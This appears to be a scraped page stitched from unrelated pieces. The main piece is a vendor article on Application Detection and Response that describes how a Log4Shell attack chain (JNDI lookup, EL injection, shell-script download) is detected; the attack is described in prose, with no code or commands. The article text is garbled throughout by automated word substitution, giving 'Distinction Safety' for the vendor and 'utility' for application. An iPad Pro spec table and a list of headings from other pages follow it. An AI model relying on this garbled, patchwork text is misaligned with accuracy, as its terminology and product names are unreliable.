By implementing ADR, organizations can fill this important hole of their safety posture, gaining the flexibility to detect and reply to stylish application-level threats that present options would possibly miss.

Expertise word: ADR is a safety strategy that focuses on detecting and responding to threats on the utility stage. Not like different AppSec measures that function on the community stage, ADR works inside the utility itself, offering deeper visibility into utility habits and extra correct menace detection.

Expertise word: A zero-day vulnerability is a software program safety flaw that’s unknown to the software program vendor and has not but been patched. These vulnerabilities may be exploited by attackers earlier than the seller turns into conscious and hurries to repair them.

Distinction ADR in motion

Distinction Safety employs progressive ADR expertise to detect and stop assaults like Log4Shell at a number of phases. Let’s perceive the structure that makes this potential and look at the way it performs out in apply.

Distinction ADR structure

Distinction ADR makes use of agent-based structure, integrating straight with the appliance runtime:

Agent deployment: A light-weight agent is deployed inside the utility’s runtime atmosphere (e.g., Java Digital Machine [JVM] for Java functions).

Runtime integration: The agent integrates seamlessly with the appliance code, permitting it to observe and analyze utility habits in actual time.

Instrumentation: Distinction makes use of instrumentation methods to look at code execution, knowledge movement and API calls with out modifying the appliance’s supply code.

Response mechanism: When a menace is detected, Distinction can take instant motion, similar to blocking the malicious exercise or alerting safety groups.

Multi-stage safety in opposition to Log4Shell

Stage 1: JNDI injection detection

Distinction Runtime Safety identifies the malicious JNDI lookup try by enhancing the JVM’s safety settings to stop abuse of JNDI capabilities.

Stage 2: EL injection detection

Distinction Runtime Safety identifies EL injection makes an attempt and protects in opposition to them by enhancing the JVM’s safety settings to stop abuse of the JVM’s EL processor capabilities.

Stage 3: Blocking code execution

Within the unlikely occasion that malicious code is loaded, the Distinction Runtime Safety Platform makes use of:

Command injection safety: Leveraging classification, tracing and semantic evaluation methods to stop attacker payloads from reaching delicate APIs.

Course of hardening: Enhancing the JVM’s safety settings to stop abuse of JVM’s delicate APIs associated to command execution.

Actual-world instance: Log4Shell assault detection and evaluation

To raised perceive how Distinction’s ADR expertise works in apply, let’s look at a collection of occasions from a replicated Log4Shell assault detection.

Observe: All behavioral guidelines are set to MONITOR mode, not BLOCK mode, for this instance for example attacker exploit chaining and the defense-in-depth detection capabilities of Distinction’s ADR. Usually, these guidelines could be set to BLOCK mode, catching and blocking the preliminary JNDI exploit, and stopping the following occasions from occurring within the first place.

JNDI injection detection: Distinction ADR identifies a JNDI injection try, detecting an effort to redirect an InitialContext lookup to an attacker-controlled LDAP server.

EL injection detection: ADR identifies an EL injection occasion, the place the evaluated expression makes use of Java class loading to load the JavaScript engine embedded within the JVM. The payload makes use of JavaScript to create a malicious array supposed to execute system instructions.

Command injection detection: Distinction ADR identifies a Command injection occasion, the place the command makes an attempt to obtain and execute a shell script from an attacker-controlled server.

This detailed breakdown demonstrates Distinction ADR’s capacity to:

Detect the preliminary JNDI injection try

Monitor the assault by means of a number of phases of execution

Establish and analyze malicious payloads

Present deep visibility into the assault chain, from preliminary exploit to potential code execution

This stage of perception is important to stop assaults and perceive new menace patterns.

ADR response to Log4Shell assault

When Distinction ADR detects a possible Log4Shell exploitation try, it triggers a complete response that aligns with the NIST Cybersecurity Framework:

Establish

Makes use of runtime Software program Composition Evaluation (SCA) to constantly map and stock the appliance atmosphere, figuring out susceptible Log4j situations.

Offers real-time visibility into the appliance’s habits and knowledge movement through the assault try.

Defend

If in blocking mode, prevents the preliminary JNDI lookup to the malicious server.

Enhances JVM safety settings to restrict JNDI capabilities, decreasing the assault floor.

Detect

Identifies and alerts on the JNDI lookup try to the malicious LDAP server.

Detects makes an attempt to execute malicious EL payloads.

Screens for unauthorized Java class loading and execution.

Identifies suspicious course of executions indicative of command injection.

Reply

Triggers use of predefined run books for Log4Shell incidents.

Offers enhanced triaging context, together with detailed assault chain evaluation and affected utility parts.

Integrates with SIEM/XDR/SOAR programs, enriching alerts with application-layer context for simpler incident evaluation.

Expertise word: SIEM (Safety Info and Occasion Administration) is a system that collects and analyzes log knowledge from numerous sources throughout a company’s IT infrastructure. It helps in real-time evaluation of safety alerts generated by functions and community {hardware}. Some SIEM examples embrace Splunk, QRadar and Microsoft Sentinel.

Expertise word: XDR (Prolonged Detection and Response) is a holistic safety strategy that collects and mechanically correlates knowledge throughout a number of safety layers — e mail, endpoints, servers, cloud workloads and networks. It makes use of analytics to detect threats and mechanically reply to them, offering a extra complete and environment friendly option to detect, examine and reply to cybersecurity incidents throughout all the IT ecosystem.

Get better

Helps incident investigation by offering detailed forensic knowledge in regards to the assault try.

Assists in figuring out the total extent of potential compromise throughout the appliance portfolio.

Facilitates post-incident evaluation to enhance detection and safety capabilities.

Offers knowledge to help root trigger evaluation, serving to forestall related incidents sooner or later.

All through this course of, the ADR system maintains steady monitoring, supplies real-time updates to safety dashboards, and helps compliance reporting by documenting all detection and response actions taken.

ADR integration with SIEM/SOAR/XDR ecosystem

The mixing of ADR expertise with present Safety Info and Occasion Administration (SIEM); safety orchestration, automation and response (SOAR); and Prolonged Detection and Response (XDR) programs creates a strong synergy that enhances general safety operations. This is how ADR can match into and increase SIEM//SOAR/XDR-driven workflows:

Enhanced incident response and evaluation: ADR-generated alerts are correlated with network-level occasions in SIEM/SOAR/XDR, offering a complete view of potential assaults and enabling simpler root trigger evaluation.

Dynamic safety management: SIEM/SOAR/XDR can dynamically change ADR to blocking mode, deploy digital patches and activate enhanced logging.

Coordinated menace mitigation: SIEM/SOAR/XDR coordinate blocking malicious IP addresses and use ADR’s application-specific context for efficient response methods.

Streamlined security-development collaboration: ADR generates vulnerability experiences and integrates ticketing programs, streamlining communication between safety and growth groups.

By integrating ADR into the SIEM/SOAR/XDR ecosystem, organizations obtain extra complete menace detection, quicker incident response and simpler vulnerability administration, considerably enhancing their general safety posture.

Enterprise advantages of ADR expertise

Implementing Distinction’s ADR expertise interprets into tangible enterprise advantages:

Diminished threat: By offering multi-layered, context-aware safety, ADR considerably reduces the chance of profitable assaults, defending your group’s knowledge and status.

Decrease whole price of possession: With fewer false positives and automatic safety, safety groups can deal with high-priority points, decreasing operational prices.

Improved compliance posture: ADR’s complete safety and detailed logging help in assembly numerous compliance necessities, similar to PCI DSS and GDPR.

Sooner time-to-market: By securing functions from inside, ADR permits growth groups to maneuver quicker with out compromising on safety, aligning with Safe by Design ideas.

Enhanced visibility: The deep insights supplied by ADR expertise enhance general safety posture and inform strategic safety choices.

Observe: PCI DSS (Cost Card Business Knowledge Safety Customary) is a set of safety requirements designed to make sure that all corporations that settle for, course of, retailer or transmit bank card info preserve a safe atmosphere.

Observe: GDPR (Normal Knowledge Safety Regulation) is a regulation in EU legislation on knowledge safety and privateness within the European Union and the European Financial Space. It additionally addresses the switch of non-public knowledge outdoors the EU and EEA areas.

Conclusion

As cyber threats proceed to evolve, network-based utility safety measures are now not ample to guard important functions and knowledge. Distinction’s ADR expertise gives a sturdy, clever and proactive strategy to utility safety.

By understanding the anatomy of recent assaults and leveraging cutting-edge ADR options, organizations can considerably improve their safety posture, reduce threat and keep forward of rising threats. As a safety decision-maker, investing in ADR expertise isn’t just a safety measure — it is a strategic crucial for safeguarding your group’s digital belongings in at this time’s menace panorama.

Subsequent steps

To study extra about how ADR expertise can defend your group and see its capabilities in motion, request a demo of Distinction ADR.

By taking these steps, you will be effectively in your option to strengthening your utility safety and staying forward of evolving cyber threats.

Observe: This text is authored by Jonathan Harper, Principal Options Engineer at Distinction Safety, with over 5 years of expertise in utility safety. Jonathan has supported massive enterprises and beforehand held roles at Risk Stack, Veracode, and Micron Expertise.

Discovered this text attention-grabbing? This text is a contributed piece from certainly one of our valued companions. Comply with us on Twitter and LinkedIn to learn extra unique content material we submit.

Mannequin	11-inch iPad Professional (M4)	13-inch iPad Professional (M4)
Show	11-inch Extremely Retina XDR, ProMotion know-how	13-inch Extremely Retina XDR, ProMotion know-how
Decision	2420 x 1688 (264ppi)	2752 x 2064 (264ppi)
Show know-how	Tandem OLED, absolutely laminated show, anti-reflective coating	Tandem OLED, absolutely laminated show, anti-reflective coating
Colour area	Extensive shade gamut (P3), True Tone	Extensive shade gamut (P3), True Tone
Brightness	1.000 nits; HDR 1,600 nits	1.000 nits; HDR 1,600 nits
Processor	Apple M4	Apple M4
CPU (256GB/512GB)	9-core CPU with 3 efficiency cores and 6 effectivity cores	9-core CPU with 3 efficiency cores and 6 effectivity cores
CPU (1TB/2TB)	10-core CPU with 4 efficiency cores and 6 effectivity cores	10-core CPU with 4 efficiency cores and 6 effectivity cores
Graphics	10-core GPU	10-core GPU
Neural Engine	16-core	16-Core
Media Engine	{Hardware} accelerated 8K H.264, HEVC, ProRes and ProRes RAW, AV1 decoding	{Hardware} accelerated 8K H.264, HEVC, ProRes and ProRes RAW, AV1 decoding
Storage capability	256GB/512GB/1TB/2TB	256GB/512GB/1TB/2TB
Rear digicam	Extensive-angle 12 MP, f/1.8	Extensive-angle 12 MP, f/1.8
Entrance digicam	12 MP panorama format extremely wide-angle entrance digicam, f/2	12 MP panorama format extremely wide-angle entrance digicam, f/2
Audio system, microphones	4 audio system, 4 microphones	4 audio system, 4 microphones
Sensors	Face ID; LiDAR scanner	Face ID; LiDAR scanner
Connectors	Thunderbolt/USB 4; Sensible Connector	Thunderbolt/USB 4; Sensible Connector
Pencil (optionally available)	Apple Pencil Professional, Apple Pencil (USB)	Apple Pencil Professional, Apple Pencil (USB)
Wi-Fi	WLAN 6E (802.11ax) with 2×2 MIMO	Wi-Fi 6E (802.11ax) with 2×2 MIMO
Bluetooth	5.3	5.3
Cell knowledge	5G/LTE/UMTS/HSDPA	5G/LTE/UMTS/HSDPA
SIM card	eSIM	eSIM
Colours	Silver, House Black	Silver, House Black
Estimated battery life (looking Wi-Fi)	10 hours	10 hours
Estimated battery life (looking mobile)	9 hours	9 hours
Dimensions (W/H/D)	249.7 x 177.5 x 5.3mm	281.6 x 215.5 x 5.1mm
Weight	0.98 kilos/444g (Wi-Fi); 0.98 kilos/446g (mobile)	1.28 kilos/579g (Wi-Fi); 1.28 kilos/582g (mobile)

Mannequin	11-inch iPad Professional (M2)	12.9-inch iPad Professional (M2)
Show	11-inch Liquid Retina, ProMotion know-how	12.9-inch Liquid Retina XDR, ProMotion know-how
Decision	2388 x 1668 (264ppi)	2732 x 2048 (264ppi)
Show know-how	LED, absolutely laminated show, anti-reflective coating	mini-LED, absolutely laminated show, anti-reflective coating
Colour area	Extensive shade gamut (P3), True Tone	Extensive shade gamut (P3), True Tone
Brightness	600 nits SDR	600 nits SDR, 1,000 nits XDR; HDR 1,600 nits
Processor	Apple M2	Apple M2
CPU	8-core CPU with 4 efficiency cores and 4 effectivity cores	8-core CPU with 4 efficiency cores and 4 effectivity cores
Graphics	10-core GPU	10-core GPU
Neural Engine	16-core	16-Core
Media Engine	{Hardware} accelerated 8K H.264, HEVC, ProRes and ProRes RAW	{Hardware} accelerated 8K H.264, HEVC, ProRes and ProRes RAW
Storage capability	128GB/256GB/512GB/1TB/2TB	128GB/256GB/512GB/1TB/2TB
Rear cameras	Extensive-angle 12 MP, f/1.8, Extremely-Extensive 10 MP f/2.4	Extensive-angle 12 MP, f/1.8, Extremely-Extensive 10 MP f/2.4
Entrance digicam	12 MP FaceTime, f/2.4	12 MP FaceTime, f/2.4
Audio system, microphones	4 audio system, 5 microphones	4 audio system, 5 microphones
Sensors	Face ID; LiDAR scanner	Face ID; LiDAR scanner
Connectors	Thunderbolt/USB 4; Sensible Connector	Thunderbolt/USB 4; Sensible Connector
Pencil (optionally available)	Apple Pencil 2, Apple Pencil (USB)	Apple Pencil 2, Apple Pencil (USB)
Wi-Fi	WLAN 6E (802.11ax) with 2×2 MIMO	Wi-Fi 6E (802.11ax) with 2×2 MIMO
Bluetooth	5.3	5.3
Cell knowledge	5G/LTE/UMTS/HSDPA	5G/LTE/UMTS/HSDPA
SIM card	eSIM+Nano SIM	eSIM+Nano SIM
Colours	Silver, House Black	Silver, House Black
Estimated battery life (looking Wi-Fi)	10 hours	10 hours
Estimated battery life (looking mobile)	9 hours	9 hours
Dimensions (W/H/D)	247.6 x 178.5 x 5.9mm	280.6 x 214.9 x 6.4mm
Weight	1.03 kilos/466g (Wi-Fi); 1.03 kilos/468g (mobile)	1.5 kilos/682g (Wi-Fi); 1.51 kilos/684g (mobile)

Keyboard shortcuts for Export Unmodified Authentic in Images for Mac – Ole Begemann

Drawback

Resolution: shell script

Phishing focusing on Polish SMBs continues by way of ModiLoader

Overview

Campaigns

Contained in the attachments

When ModiLoader is launched

Knowledge exfiltration

Conclusion

IoCs

Recordsdata

MITRE ATT&CK strategies

macos – Methods to add AAAA flag (IPv6) to DNS resolver configuration on Sierra?

The Drawback

SystemConfiguration

The scutil Kludge

A pleasant script

Anatomy of an Assault

The anatomy of a contemporary utility assault: Log4Shell

Step 1: Exploitation of the vulnerability

Step 2: JNDI lookup and EL analysis

Step 3: Malicious payload retrieval

Step 4: EL injection

Step 5: Code execution

The facility and hazard of Log4Shell

From foothold to motion on aims

The restrictions of present safety approaches

Internet utility firewalls (WAFs)

Endpoint Detection and Response (EDR)

The ADR benefit

Distinction ADR in motion

Distinction ADR structure

Multi-stage safety in opposition to Log4Shell

Stage 1: JNDI injection detection

Stage 2: EL injection detection

Stage 3: Blocking code execution

Actual-world instance: Log4Shell assault detection and evaluation

ADR response to Log4Shell assault

Establish

Defend

Detect

Reply

Get better

ADR integration with SIEM/SOAR/XDR ecosystem

Enterprise advantages of ADR expertise

Conclusion

Subsequent steps

iPad Professional M4 vs iPad Professional M2: What is the distinction?

Design & construct high quality

Show

Processor

Cameras

Connectivity

Value and availability

Ought to I purchase the iPad Professional M4 or the iPad Professional M2?

ABOUT US

The `scutil` Kludge